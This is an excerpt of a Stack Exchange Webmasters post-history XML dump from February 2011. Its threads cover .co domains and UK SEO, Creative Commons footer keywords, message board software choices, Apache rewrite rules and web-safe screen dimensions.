  <row Id="21243" PostHistoryTypeId="2" PostId="9605" RevisionGUID="f0b54aca-5086-49c8-ac97-87611715a244" CreationDate="2011-02-23T17:51:49.333" UserDisplayName="Carnotaurus" Text="Google favours it! There is an article on it here: http://www.seroundtable.com/archives/021424.html" />
  <row Id="21244" PostHistoryTypeId="2" PostId="9604" RevisionGUID="3730900e-d0ba-46a6-bd72-473fe8fdc1c8" CreationDate="2011-02-23T17:47:33.530" UserDisplayName="atomicguava" Text="Does anyone know if a keyword-rich .co domain name can be listed and rank fairly highly in Google UK (assuming the content is correctly balanced and tailored for the keyword in question) ? &#xD;&#xA;&#xD;&#xA;Does Google class it as international?" />
  <row Id="21245" PostHistoryTypeId="1" PostId="9604" RevisionGUID="3730900e-d0ba-46a6-bd72-473fe8fdc1c8" CreationDate="2011-02-23T17:47:33.530" UserDisplayName="atomicguava" Text=".co domain name &amp; UK focused SEO - any good?" />
  <row Id="21246" PostHistoryTypeId="3" PostId="9604" RevisionGUID="3730900e-d0ba-46a6-bd72-473fe8fdc1c8" CreationDate="2011-02-23T17:47:33.530" UserDisplayName="atomicguava" Text="&lt;google&gt;&lt;seo&gt;&lt;domains&gt;" />
  <row Id="21247" PostHistoryTypeId="17" PostId="9604" RevisionGUID="eafc7574-a9b8-4ad4-b9dc-658fa2001530" CreationDate="2011-02-23T18:03:18.180" UserId="-1" Comment="from http://stackoverflow.com/questions/5094767/co-domain-name-uk-focused-seo-any-good" Text="" />
  <row Id="21248" PostHistoryTypeId="2" PostId="9606" RevisionGUID="0d64b836-33f0-40de-8661-d242c3474210" CreationDate="2011-02-23T18:06:27.477" UserId="1129" Text="I know that I may just have to link the image to make this happen, but I figured it was worth asking, just in case there's some other semantic markup or tips I could use... &#xD;&#xA;&#xD;&#xA;I have a site that uses the textual Creative Commons blurb in the footer. The markup is like so: &#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;footer&quot;&gt;&#xD;&#xA;        &lt;!-- snip --&gt; &#xD;&#xA;        &lt;!-- Creative Commons License --&gt;&#xD;&#xA;        &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/3.0/us/&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width:0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/3.0/us/80x15.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;This work by &lt;a xmlns:cc=&quot;http://creativecommons.org/ns#&quot; href=&quot;http://www.xmemphisx.com/&quot; property=&quot;cc:attributionName&quot; rel=&quot;cc:attributionURL&quot;&gt;xMEMPHISx.com&lt;/a&gt; is licensed under a &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/3.0/us/&quot;&gt;Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License&lt;/a&gt;.&#xD;&#xA;        &lt;!-- /Creative Commons License --&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Within Google Webmaster Tools, the list of relevant keywords is heavily saturated with the text from that blurb. For instance, 50% of my top-ten most relevant keywords (including the site name): &#xD;&#xA;&#xD;&#xA;1. 	[site name]&#xD;&#xA;2. 	license &#xD;&#xA;3. 	[keyword]&#xD;&#xA;4. 	commons 	&#xD;&#xA;5. 	creative 	&#xD;&#xA;6. 	[keyword]&#xD;&#xA;7. 	alike 	&#xD;&#xA;8. 	[keyword]&#xD;&#xA;9. 	attribution 	&#xD;&#xA;10. [keyword] 	&#xD;&#xA;&#xD;&#xA;I have not done any extensive testing to find out rather or not this list even matters, and so far this doesn't impact performance in any way. The site is well designed for humans, and it is as findable as it needs to be at the moment. &#xD;&#xA;&#xD;&#xA;But, out of mostly curiosity: **Do you have any tips for decreasing the relevancy of the text from the Creative Commons footer blurb?** " />
  <row Id="21249" PostHistoryTypeId="1" PostId="9606" RevisionGUID="0d64b836-33f0-40de-8661-d242c3474210" CreationDate="2011-02-23T18:06:27.477" UserId="1129" Text="How can I decrease relevancy of Creative Commons footer text? (In Google Webmaster Tools)" />
  <row Id="21250" PostHistoryTypeId="3" PostId="9606" RevisionGUID="0d64b836-33f0-40de-8661-d242c3474210" CreationDate="2011-02-23T18:06:27.477" UserId="1129" Text="&lt;seo&gt;&lt;html&gt;&lt;google-webmaster-tools&gt;&lt;keywords&gt;&lt;creative-commons&gt;" />
  <row Id="21251" PostHistoryTypeId="2" PostId="9607" RevisionGUID="f4b17762-3000-4c4e-a42a-9178ca129a92" CreationDate="2011-02-23T18:12:39.787" UserId="1253" Text="From [Working with multi-regional websites][1]&#xD;&#xA;&#xD;&#xA;&gt; Google generally uses the following&#xD;&#xA;&gt; elements to determine the geotargeting&#xD;&#xA;&gt; of a website (or a part of a website):&#xD;&#xA;&gt; &#xD;&#xA;&gt; Use of a ccTLD is generally a strong&#xD;&#xA;&gt; signal for users since it explicitly&#xD;&#xA;&gt; specifies a single country in an&#xD;&#xA;&gt; unmistakable way.&#xD;&#xA;&#xD;&#xA;So, if .co is specific to the UK then using it will help your rankings. If it is not, and it's not because .co is the TLD for Columbia, then it will offer you no benefits in Google UK searches. In fact, it may hurt you in Google UK related searches as that TLD says the site is targeted at Columbia, not the UK.&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html" />
  <row Id="21252" PostHistoryTypeId="2" PostId="9608" RevisionGUID="3771bd53-1530-4d80-accd-00156e2d43e7" CreationDate="2011-02-23T18:19:46.710" UserId="1253" Text="Being this is probably in the footer of every page it's natural that it would appear so high in that list.&#xD;&#xA;&#xD;&#xA;Still, your goal shouldn't be to decrease the relevancy of those terms. It should be to *increase* the relevancy of the other terms on your pages. If the creative commons content is that relevant then you probably need to do a better job of making the actual content on your pages seem relevant to Google. " />
  <row Id="21253" PostHistoryTypeId="2" PostId="9609" RevisionGUID="1a212962-8d50-4181-bbaa-166a1b11d2f8" CreationDate="2011-02-23T18:23:38.270" UserId="5614" Text="Can I use a CMS offline, then export the relevant html files?" />
  <row Id="21254" PostHistoryTypeId="1" PostId="9609" RevisionGUID="1a212962-8d50-4181-bbaa-166a1b11d2f8" CreationDate="2011-02-23T18:23:38.270" UserId="5614" Text="Can a CMS export html files?" />
  <row Id="21255" PostHistoryTypeId="3" PostId="9609" RevisionGUID="1a212962-8d50-4181-bbaa-166a1b11d2f8" CreationDate="2011-02-23T18:23:38.270" UserId="5614" Text="&lt;web-development&gt;" />
  <row Id="21256" PostHistoryTypeId="2" PostId="9610" RevisionGUID="9cc4b5c9-1512-448a-b292-b5ea8a9eea11" CreationDate="2011-02-23T18:25:49.063" UserId="1253" Text="It depends on the CMS. You'll have to look at whatever CMS you are using and see if it offers this functionality. " />
  <row Id="21257" PostHistoryTypeId="6" PostId="9609" RevisionGUID="9a14e156-f08d-49ff-b04f-b489255f66ef" CreationDate="2011-02-23T18:26:27.393" UserId="1253" Comment="added &quot;cms&quot; tag" Text="&lt;web-development&gt;&lt;cms&gt;" />
  <row Id="21259" PostHistoryTypeId="2" PostId="9612" RevisionGUID="a35ac99e-c5a0-40eb-b43e-6dad89e8cbc3" CreationDate="2011-02-23T17:16:27.917" UserDisplayName="unixman83" Text="What are the best (and most widely used) Linux-based **message board** softwares, and the ***pros*** and ***cons*** of each. e.g. Security Vulnerabilities, Performance on a cheap server, comes pre-packaged [RPM or DEB].&#xD;&#xA;&#xD;&#xA;I am looking for *the best* message board software for my website. A VPS can run almost any software, so the sky is the limit!&#xD;&#xA;&#xD;&#xA; 1. *Free, doesn't require unreasonable number of hyperlinks to their website*&#xD;&#xA; 2. Security focused / Widely Used, vulnerabilities are found and fixed quick&#xD;&#xA; 3. Easy to keep up-to-date, i.e. prepackaged / auto-update in some way&#xD;&#xA; 4. Moderator features [like pinning / message preamble], account management&#xD;&#xA; 5. Themeable, customize appearance a bit" />
  <row Id="21260" PostHistoryTypeId="1" PostId="9612" RevisionGUID="a35ac99e-c5a0-40eb-b43e-6dad89e8cbc3" CreationDate="2011-02-23T17:16:27.917" UserDisplayName="unixman83" Text="Good message board for a website (e.g. phpBB)" />
  <row Id="21261" PostHistoryTypeId="3" PostId="9612" RevisionGUID="a35ac99e-c5a0-40eb-b43e-6dad89e8cbc3" CreationDate="2011-02-23T17:16:27.917" UserDisplayName="unixman83" Text="&lt;linux&gt;&lt;webserver&gt;&lt;website&gt;&lt;software&gt;" />
  <row Id="21262" PostHistoryTypeId="17" PostId="9612" RevisionGUID="93e64c58-562f-4000-b1fe-48262169eb1f" CreationDate="2011-02-23T18:39:13.493" UserId="-1" Comment="from http://serverfault.com/questions/239287/good-message-board-for-a-website-e-g-phpbb" Text="" />
  <row Id="21263" PostHistoryTypeId="2" PostId="9613" RevisionGUID="08a9fe4c-116a-4831-a83f-859e738e6b4b" CreationDate="2011-02-23T18:43:04.997" UserId="3486" Text="I want to build something similar with limited functionality. Just a basic version. Is there a platform that I can use like Wordpress for rapid development?" />
  <row Id="21264" PostHistoryTypeId="1" PostId="9613" RevisionGUID="08a9fe4c-116a-4831-a83f-859e738e6b4b" CreationDate="2011-02-23T18:43:04.997" UserId="3486" Text="Platform that suits best to build a website similar to freelancer.com?" />
  <row Id="21265" PostHistoryTypeId="3" PostId="9613" RevisionGUID="08a9fe4c-116a-4831-a83f-859e738e6b4b" CreationDate="2011-02-23T18:43:04.997" UserId="3486" Text="&lt;web-development&gt;" />
  <row Id="21266" PostHistoryTypeId="16" PostId="9612" RevisionGUID="88499a54-5db2-4dd7-93c2-2015da4cd49d" CreationDate="2011-02-23T18:57:15.023" UserId="1253" />
  <row Id="21267" PostHistoryTypeId="6" PostId="9612" RevisionGUID="88499a54-5db2-4dd7-93c2-2015da4cd49d" CreationDate="2011-02-23T18:57:15.023" UserId="1253" Comment="edited tags" Text="&lt;website&gt;&lt;linux&gt;&lt;webserver&gt;&lt;software&gt;" />
  <row Id="21268" PostHistoryTypeId="2" PostId="9614" RevisionGUID="2546d48a-9225-4157-9834-1a1ff701f3eb" CreationDate="2011-02-23T20:08:04.100" UserId="4447" Text="Directives of this form are gibberish, right?&#xD;&#xA;&#xD;&#xA;&gt;        RewriteCond     ^(.+)favicon.ico        !-f &#xD;&#xA;&#xD;&#xA;The first parameter is a variable interpolated string, not a regex, so it will always fail.  Even after removing the regex from the first parm, you need to add in something like a backreference or a prefix for a path to look for favicon.ico in.&#xD;&#xA;&#xD;&#xA;Is that your only culprit?&#xD;&#xA;&#xD;&#xA;Some of the RewriteRules also have bogus conditions baked into them:&#xD;&#xA;&#xD;&#xA;&gt;         RewriteRule     ^(?:www\.)?([^.]+?)\.mysite\.com/media/(.*) ...&#xD;&#xA;&#xD;&#xA;that optional www. can never be there, since RewriteRule in virtual host context is always matching against a string starting with &quot;/&quot;.  This means the  range will always match the leading slash.&#xD;&#xA;&#xD;&#xA;Additionally, why would &quot;mysite.com&quot; be in the URL-path you're matching against?  Do you ned another RewriteCond to poke around in HTTP_HOST?&#xD;&#xA;&#xD;&#xA;This would all probably be a bit more apparent with a RewriteLog.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21269" PostHistoryTypeId="25" PostId="9606" RevisionGUID="910c37b5-d4c8-4055-84fb-b22120ff6dec" CreationDate="2011-02-23T20:22:51.640" Comment="http://twitter.com/#!/StackWebmasters/status/40506897383555072" />
  <row Id="21270" PostHistoryTypeId="4" PostId="8192" RevisionGUID="66171e60-a9f4-40ba-90b0-3429cb5b3c18" CreationDate="2011-02-23T20:35:58.617" UserId="1253" Comment="edited tags; edited title" Text="DNS question and Google PageRank from domains" />
  <row Id="21271" PostHistoryTypeId="6" PostId="8192" RevisionGUID="66171e60-a9f4-40ba-90b0-3429cb5b3c18" CreationDate="2011-02-23T20:35:58.617" UserId="1253" Comment="edited tags; edited title" Text="&lt;pagerank&gt;&lt;dns&gt;" />
  <row Id="21272" PostHistoryTypeId="2" PostId="9615" RevisionGUID="7eba8f0c-817c-4216-914e-5727615a5f14" CreationDate="2011-02-23T21:30:40.247" UserId="5618" Text="phpBB and VBulletin are the most widely used by far.  &#xD;&#xA;&#xD;&#xA;I found phpBB easy to setup, maintain and easy to modify as well&#xD;&#xA;Never used vBulletin , but I have seen it in use with many hi-traffic sites&#xD;&#xA;&#xD;&#xA;Alternative to administering your own BB is to use a hosted version. Trust me the pain in managing a BB will change your mind.  ProBoards seems to be popular.&#xD;&#xA;&#xD;&#xA;I guess you need to consider what type of traffic you are going to get in to which features you may need in your BB. BB are always going to be targets for security issues, due to there makeup." />
  <row Id="21273" PostHistoryTypeId="2" PostId="9616" RevisionGUID="0a5cf976-eb98-414d-a952-6211820b30a8" CreationDate="2011-02-23T21:41:39.883" UserId="3453" Text="Try [Vanilla][1]. Don't want to list any arguements against phpBB nor do I want to share good and bad experience, just my favorite underappreciated suggestion.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vanillaforums.org" />
  <row Id="21274" PostHistoryTypeId="2" PostId="9617" RevisionGUID="96fdb876-0644-460f-b9d5-be0e3f4e6ef0" CreationDate="2011-02-23T21:46:50.693" UserId="5618" Text="I would look at Drupal and the many many plugins available.  I think drupal may suit your needs better than wordpress will.&#xD;&#xA;The curve for me is steeper on drupal than wordpress however.&#xD;&#xA;&#xD;&#xA;freelancer looks completely custom built with its own api and the works. I could see any cms involved in its code.&#xD;&#xA;&#xD;&#xA;You could learn ruby on rails or use django as your framework and have someone develop for you." />
  <row Id="21275" PostHistoryTypeId="5" PostId="9615" RevisionGUID="ad50f5db-0341-4883-a061-875b8ef66ea4" CreationDate="2011-02-23T22:02:16.410" UserId="5618" Comment="added 159 characters in body" Text="phpBB and VBulletin are the most widely used by far.  &#xD;&#xA;&#xD;&#xA;I found phpBB easy to setup, maintain and easy to modify as well&#xD;&#xA;Never used vBulletin , but I have seen it in use with many hi-traffic sites&#xD;&#xA;&#xD;&#xA;Alternative to administering your own BB is to use a hosted version. Trust me the pain in managing a BB will change your mind.  ProBoards seems to be popular.&#xD;&#xA;&#xD;&#xA;I guess you need to consider what type of traffic you are going to get in to which features you may need in your BB. BB are always going to be targets for security issues, due to there makeup.&#xD;&#xA;&#xD;&#xA;edit - check this out also. I remembered readin something on mashable about message boards a while back&#xD;&#xA;http://mashable.com/2008/08/06/message-boards-2/&#xD;&#xA;" />
  <row Id="21276" PostHistoryTypeId="2" PostId="9618" RevisionGUID="44ea07f9-df3e-4d22-8ab1-6c6e789c7033" CreationDate="2011-02-23T22:19:03.790" UserId="132" Text="For the overall design, I prefer Fireworks. To me, it's simpler, and easier to use for adjusting locations, sizes, and other attributes for various elements. Photoshop for full page design just seems very clunky, since you can't re-size or otherwise change things as easily as in Fireworks.&#xD;&#xA;&#xD;&#xA;Not to say that Photoshop can't be used at all - it is still useful for creating specific elements, such as banners, buttons, etc, and then bringing those into Fireworks to integrate into the overall design.&#xD;&#xA;&#xD;&#xA;Fireworks works because it is primarily vector, and is just works for web page design. It's also possible to Illustrator, which is also vector, to do page design, though it's not as optimized for that use." />
  <row Id="21277" PostHistoryTypeId="25" PostId="9604" RevisionGUID="46435d6c-28de-48be-9c8b-4f1f5f175a3c" CreationDate="2011-02-23T23:22:52.603" Comment="http://twitter.com/#!/StackWebmasters/status/40552195162255360" />
  <row Id="21278" PostHistoryTypeId="2" PostId="9619" RevisionGUID="09a5ebff-1849-4456-ad44-4550b6c5b154" CreationDate="2011-02-23T23:43:43.383" UserId="164" Text="Anyone know a good system to manage libraries, designed for web?&#xD;&#xA;&#xD;&#xA;I prefer systems based on PHP and MySQL, because in general they are easier to install and administer, but others are also welcome." />
  <row Id="21279" PostHistoryTypeId="1" PostId="9619" RevisionGUID="09a5ebff-1849-4456-ad44-4550b6c5b154" CreationDate="2011-02-23T23:43:43.383" UserId="164" Text="Good php+mysql system for managing medium libraries" />
  <row Id="21280" PostHistoryTypeId="3" PostId="9619" RevisionGUID="09a5ebff-1849-4456-ad44-4550b6c5b154" CreationDate="2011-02-23T23:43:43.383" UserId="164" Text="&lt;php&gt;&lt;mysql&gt;&lt;library&gt;&lt;system&gt;" />
  <row Id="21281" PostHistoryTypeId="2" PostId="9620" RevisionGUID="a83c4b55-7cee-4ebf-8a62-409dbc25d07d" CreationDate="2011-02-23T23:45:56.163" UserId="5623" Text="I'm in the process of designing a new web app and I'm wondering for what 'Web Safe Area' should I optimize the app layout and design. By Web Safe Area I mean the actual area available to display the website in the browser (which is influenced by monitor resolution as well as the space taken up by the browser and OS)&#xD;&#xA;&#xD;&#xA;I did some investigation and thinking on my own but wanted to share this to see what the general opinion is. Here is what I found: &#xD;&#xA;&#xD;&#xA;**Optimal Display Resolution:**&#xD;&#xA;&#xD;&#xA; - **w3schools web stats** seems to be the&#xD;&#xA;   most referenced source (however they&#xD;&#xA;   state that these are results from&#xD;&#xA;   their site and is biased towards tech&#xD;&#xA;   savvy users)&#xD;&#xA; - [http://www.w3counter.com/globalstats.php][2]&#xD;&#xA;   (aggregate data from something like&#xD;&#xA;   15,000 different sites that use their&#xD;&#xA;   tracking services)&#xD;&#xA; - [StatCounter Global Stats][3] &gt; Display&#xD;&#xA;   Resolution (Stats are based on&#xD;&#xA;   aggregate data collected by&#xD;&#xA;   StatCounter on a sample exceeding 15&#xD;&#xA;   billion pageviews per month collected&#xD;&#xA;   from across the StatCounter network&#xD;&#xA;   of more than 3 million websites)&#xD;&#xA; - NetMarketShare Screen Resolutions (marketshare.hitslink.com) (a&#xD;&#xA;   web analytics consulting firm, they&#xD;&#xA;   get data from browsers of site&#xD;&#xA;   visitors to their on-demand network&#xD;&#xA;   of live stats customers. The data is&#xD;&#xA;   compiled from approximately 160&#xD;&#xA;   million visitors per month)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Display Resolution Summary:** There is a bit of variation between the above sources but in general as of Jan 2011 looks like 1024x768 is about 20%, while ~85% have a higher resolution of at least 1280x768 (1280x800 is the most common of these with 15-20% of total web, depending on the source; 1280x1024 and 1366x768 follow behind with 9-14% of the share). My guess would be that the higher resolution values will be even more common if we filter on North America, and even higher if we filter on N.American corporate users (unfortunately I couldn't find any free geographically filtered statistics). Another point to note is that the 1024x768 desktop user population is likely lower than the aforementioned 20%, seeing as the iPad (1024x768 native display) is likely propping up those number (the app I'm designing is flash based, Apple mobile devices don't support flash so iPad support isn't a concern). &#xD;&#xA;&#xD;&#xA;My recommendation would be to optimize around the 1280x768 constraint (*note: 1280x768 is actually a relatively rare resolution, but I think it's a valid constraint range considering that 1366x768 is relatively common and 1280 is the most common horizontal resolution).&#xD;&#xA;&#xD;&#xA;**Browser + OS Constraints:**&#xD;&#xA;To further add to the constraints we have to subtract the space taken up by the browser (assuming IE, which is the most space consuming) and the OS (assuming WinXP-Win7):&#xD;&#xA;&#xD;&#xA; * Win7 has the biggest taskbar footprint at a height of 40px (XP's and Vista's is 30px)  &#xD;&#xA; * The default IE8 view uses up 25px at the bottom of the screen with the status bar and a further 120px at the top of the screen with the windows title bar and the browser UI (assuming the default 'favorites' toolbar is present, it would instead be 91px without the favorites toolbar).&#xD;&#xA; * Assuming no scrollbar, we also loose a total of 4px horizontally for the window outline.&#xD;&#xA;&#xD;&#xA;This means that we are left with 583px of vertical space and 1276px of horizontal. In other words, a Web Safe Area of 1276 x 583&#xD;&#xA;&#xD;&#xA;Is this a correct line of thinking?&#xD;&#xA;&#xD;&#xA; I'm really surprised that I couldn't find this type of investigation anywhere on the web. Lots of websites talk about designing for 1024x768, but that's only half the equation! There is no mention of browser/OS influences on the actual area you have to display the site/app. &#xD;&#xA;&#xD;&#xA;Any help on this would be greatly appreciated! Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/browsers/browsers_display.asp&#xD;&#xA;  [2]: http://www.w3counter.com/globalstats.php&#xD;&#xA;  [3]: http://gs.statcounter.com/#resolution-na-monthly-201002-201101&#xD;&#xA;  [4]: http://marketshare.hitslink.com/report.aspx?qprid=17" />
  <row Id="21282" PostHistoryTypeId="1" PostId="9620" RevisionGUID="a83c4b55-7cee-4ebf-8a62-409dbc25d07d" CreationDate="2011-02-23T23:45:56.163" UserId="5623" Text="Web Safe Area (optimal resolution) for web app design?" />
  <row Id="21283" PostHistoryTypeId="3" PostId="9620" RevisionGUID="a83c4b55-7cee-4ebf-8a62-409dbc25d07d" CreationDate="2011-02-23T23:45:56.163" UserId="5623" Text="&lt;internet-explorer&gt;&lt;browser-support&gt;&lt;resolution&gt;" />
  <row Id="21285" PostHistoryTypeId="5" PostId="9620" RevisionGUID="451db99b-ef0b-4bdb-979d-7eef4ad0f143" CreationDate="2011-02-23T23:50:09.993" UserId="1253" Comment="Added edit which was originally a comment" Text="I'm in the process of designing a new web app and I'm wondering for what 'Web Safe Area' should I optimize the app layout and design. By Web Safe Area I mean the actual area available to display the website in the browser (which is influenced by monitor resolution as well as the space taken up by the browser and OS)&#xD;&#xA;&#xD;&#xA;I did some investigation and thinking on my own but wanted to share this to see what the general opinion is. Here is what I found: &#xD;&#xA;&#xD;&#xA;**Optimal Display Resolution:**&#xD;&#xA;&#xD;&#xA; - **w3schools web stats** seems to be the&#xD;&#xA;   most referenced source (however they&#xD;&#xA;   state that these are results from&#xD;&#xA;   their site and is biased towards tech&#xD;&#xA;   savvy users)&#xD;&#xA; - [http://www.w3counter.com/globalstats.php][2]&#xD;&#xA;   (aggregate data from something like&#xD;&#xA;   15,000 different sites that use their&#xD;&#xA;   tracking services)&#xD;&#xA; - [StatCounter Global Stats][3] &gt; Display&#xD;&#xA;   Resolution (Stats are based on&#xD;&#xA;   aggregate data collected by&#xD;&#xA;   StatCounter on a sample exceeding 15&#xD;&#xA;   billion pageviews per month collected&#xD;&#xA;   from across the StatCounter network&#xD;&#xA;   of more than 3 million websites)&#xD;&#xA; - NetMarketShare Screen Resolutions (marketshare.hitslink.com) (a&#xD;&#xA;   web analytics consulting firm, they&#xD;&#xA;   get data from browsers of site&#xD;&#xA;   visitors to their on-demand network&#xD;&#xA;   of live stats customers. The data is&#xD;&#xA;   compiled from approximately 160&#xD;&#xA;   million visitors per month)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Display Resolution Summary:** There is a bit of variation between the above sources but in general as of Jan 2011 looks like 1024x768 is about 20%, while ~85% have a higher resolution of at least 1280x768 (1280x800 is the most common of these with 15-20% of total web, depending on the source; 1280x1024 and 1366x768 follow behind with 9-14% of the share). My guess would be that the higher resolution values will be even more common if we filter on North America, and even higher if we filter on N.American corporate users (unfortunately I couldn't find any free geographically filtered statistics). Another point to note is that the 1024x768 desktop user population is likely lower than the aforementioned 20%, seeing as the iPad (1024x768 native display) is likely propping up those number (the app I'm designing is flash based, Apple mobile devices don't support flash so iPad support isn't a concern). &#xD;&#xA;&#xD;&#xA;My recommendation would be to optimize around the 1280x768 constraint (*note: 1280x768 is actually a relatively rare resolution, but I think it's a valid constraint range considering that 1366x768 is relatively common and 1280 is the most common horizontal resolution).&#xD;&#xA;&#xD;&#xA;**Browser + OS Constraints:**&#xD;&#xA;To further add to the constraints we have to subtract the space taken up by the browser (assuming IE, which is the most space consuming) and the OS (assuming WinXP-Win7):&#xD;&#xA;&#xD;&#xA; * Win7 has the biggest taskbar footprint at a height of 40px (XP's and Vista's is 30px)  &#xD;&#xA; * The default IE8 view uses up 25px at the bottom of the screen with the status bar and a further 120px at the top of the screen with the windows title bar and the browser UI (assuming the default 'favorites' toolbar is present, it would instead be 91px without the favorites toolbar).&#xD;&#xA; * Assuming no scrollbar, we also loose a total of 4px horizontally for the window outline.&#xD;&#xA;&#xD;&#xA;This means that we are left with 583px of vertical space and 1276px of horizontal. In other words, a Web Safe Area of 1276 x 583&#xD;&#xA;&#xD;&#xA;Is this a correct line of thinking?&#xD;&#xA;&#xD;&#xA; I'm really surprised that I couldn't find this type of investigation anywhere on the web. Lots of websites talk about designing for 1024x768, but that's only half the equation! There is no mention of browser/OS influences on the actual area you have to display the site/app. &#xD;&#xA;&#xD;&#xA;Any help on this would be greatly appreciated! Thanks.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;Another caveat to my line of thinking above is that different browsers actually take up different amounts of pixels based on the OS they're running on. For example, under WinXP IE8 takes up 142px on top of the screen (instead the aforementioned 120px for Win7) because the file menu shows up by default on XP while in Win7 the file menu is hidden by default. So it looks like on WinXP + IE8 the Web Safe Area would be a mere 572px (768px-142-30-24=572)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/browsers/browsers_display.asp&#xD;&#xA;  [2]: http://www.w3counter.com/globalstats.php&#xD;&#xA;  [3]: http://gs.statcounter.com/#resolution-na-monthly-201002-201101&#xD;&#xA;  [4]: http://marketshare.hitslink.com/report.aspx?qprid=17" />
  <row Id="21287" PostHistoryTypeId="2" PostId="9622" RevisionGUID="89966d56-2f64-479e-9a3a-65070e5c2e4c" CreationDate="2011-02-24T01:45:18.113" UserId="4447" Text="You can't use per-request variables, like the ones created by SetEnv, in the regex of a RewriteRule.  The Regex is compiled at startup.  &#xD;&#xA;&#xD;&#xA;You can only use variables, with the proper syntax, in the substitution of a rewriterule (2nd parm)" />
  <row Id="21288" PostHistoryTypeId="2" PostId="9623" RevisionGUID="1408b653-8c89-40a3-8d5b-233eee352040" CreationDate="2011-02-24T01:48:33.040" UserId="4447" Text="Try &quot;DirectorySlash off&quot; -- not rewrite generating the redirect but mod_dir." />
  <row Id="21289" PostHistoryTypeId="2" PostId="9624" RevisionGUID="bda455ed-c519-43a9-ada7-07efef7e961e" CreationDate="2011-02-24T01:52:24.380" UserId="4447" Text="Add an additional condition before your rule that does the redirect to https:&#xD;&#xA;&#xD;&#xA;&gt; RewriteCond %{REQUEST_URI} !=/wp-admin/admin-ajax.php&#xD;&#xA;&#xD;&#xA;Which will prevent the rewrite/redirect from occuring for this file&#xD;&#xA;" />
  <row Id="21290" PostHistoryTypeId="25" PostId="9585" RevisionGUID="4a9e2970-e4e5-4b5c-8368-231914ac78d3" CreationDate="2011-02-24T02:22:52.643" Comment="http://twitter.com/#!/StackWebmasters/status/40597498967891968" />
  <row Id="21291" PostHistoryTypeId="2" PostId="9625" RevisionGUID="2316f54a-63e2-4673-a6b1-a4866293558b" CreationDate="2011-02-24T02:25:50.067" UserId="4751" Text="Boy, it's going to be tough to give you any sort of &quot;real&quot; answer (this is only an answer due to character limits on comments), and even harder to back it up. First of all, I would say ignore w3schools. Anyone who tells you all flavors of IE combined make up 26% of users is clearly skewed towards savvy users.&#xD;&#xA;&#xD;&#xA;Another thing to keep in mind is that while I might be running at 1680x1050, during casual surfing I am almost always on a windowed browser and I dislike being forced to maximize. &#xD;&#xA;&#xD;&#xA;Honestly, if you're dealing with a true web app (say [threadsy][1] or the like), I think a rock solid liquid layout (or semi liquid) is the way to go, though it does require a lot more thought and work.&#xD;&#xA;&#xD;&#xA;Certainly, 20% of users still on 1024x768 is significant. Think about 1 in every 5 users having a horizontal scroll bar if you don't design for 1024x768. Yahoo! has determined that 972px is the optimal width, while many web designers have settled on a 960px grid, however, it might be safe to go as further than that if your audience skews younger. I can tell you that many people run at 1024x768 simply because their eyes are getting bad as they pass the mid 40s and can no longer run at their monitor's native resolution. I definitely recommend using some [web safe area PSDs][2] in your wire-framing.&#xD;&#xA;&#xD;&#xA;I know I didn't give you any cold-hard facts, but I hope this was helpful.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.threadsy.com&#xD;&#xA;  [2]: http://www.designerstoolbox.com/designresources/safearea/compare/" />
  <row Id="21295" PostHistoryTypeId="17" PostId="9628" RevisionGUID="23a207e5-1b00-4c07-92ad-41b4a4b2e84b" CreationDate="2011-02-24T03:00:29.243" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/12786/good-message-board-for-a-website-e-g-phpbb/12795#12795" Text="" />
  <row Id="21296" PostHistoryTypeId="17" PostId="9629" RevisionGUID="2bb862ed-e55d-40a3-abf6-68ffeb836542" CreationDate="2011-02-24T03:00:29.243" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/12786/good-message-board-for-a-website-e-g-phpbb/12812#12812" Text="" />
  <row Id="21297" PostHistoryTypeId="2" PostId="9628" RevisionGUID="32d0fc14-fc0b-4ccb-8550-ca4333f16ad9" CreationDate="2011-02-23T18:19:03.523" UserId="3609" Text="When I was running my own forums, I found [Simple Machines Forum][1] (SMF) to be an excellent forum. There was good security for blocking users and the administration section would always &quot;dial home&quot; to make sure your site was up to date.&#xD;&#xA;&#xD;&#xA;There is also a good skinning environment for SMF, with a wide variety of skins out there, both free and premium. The mods/plugin model is well established as well, which allows you to transform your forum into a mini CMS (for hosting files/articles) if you need to go that route.&#xD;&#xA;&#xD;&#xA;SMF is free and typically the only &quot;linking&quot; you need is a small text or banner link at the bottom of your site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.simplemachines.org/" />
  <row Id="21298" PostHistoryTypeId="2" PostId="9629" RevisionGUID="6f0eca5a-7e9e-4dce-b512-0e178f301099" CreationDate="2011-02-24T00:24:17.473" UserDisplayName="QuaffAPint" Text="Checkout the similar question and responses here....&#xD;&#xA;http://webapps.stackexchange.com/questions/11901/recommendations-needed-for-forum-software/11907#11907" />
  <row Id="21303" PostHistoryTypeId="2" PostId="9630" RevisionGUID="5b77be90-f4fd-422e-915b-f81086970856" CreationDate="2011-02-24T03:09:16.653" UserId="2026" Text="Ok i got the reason. I hadn't put any file in the root of my new domain. So due to some .htaccess rules it was transfering me to my old site." />
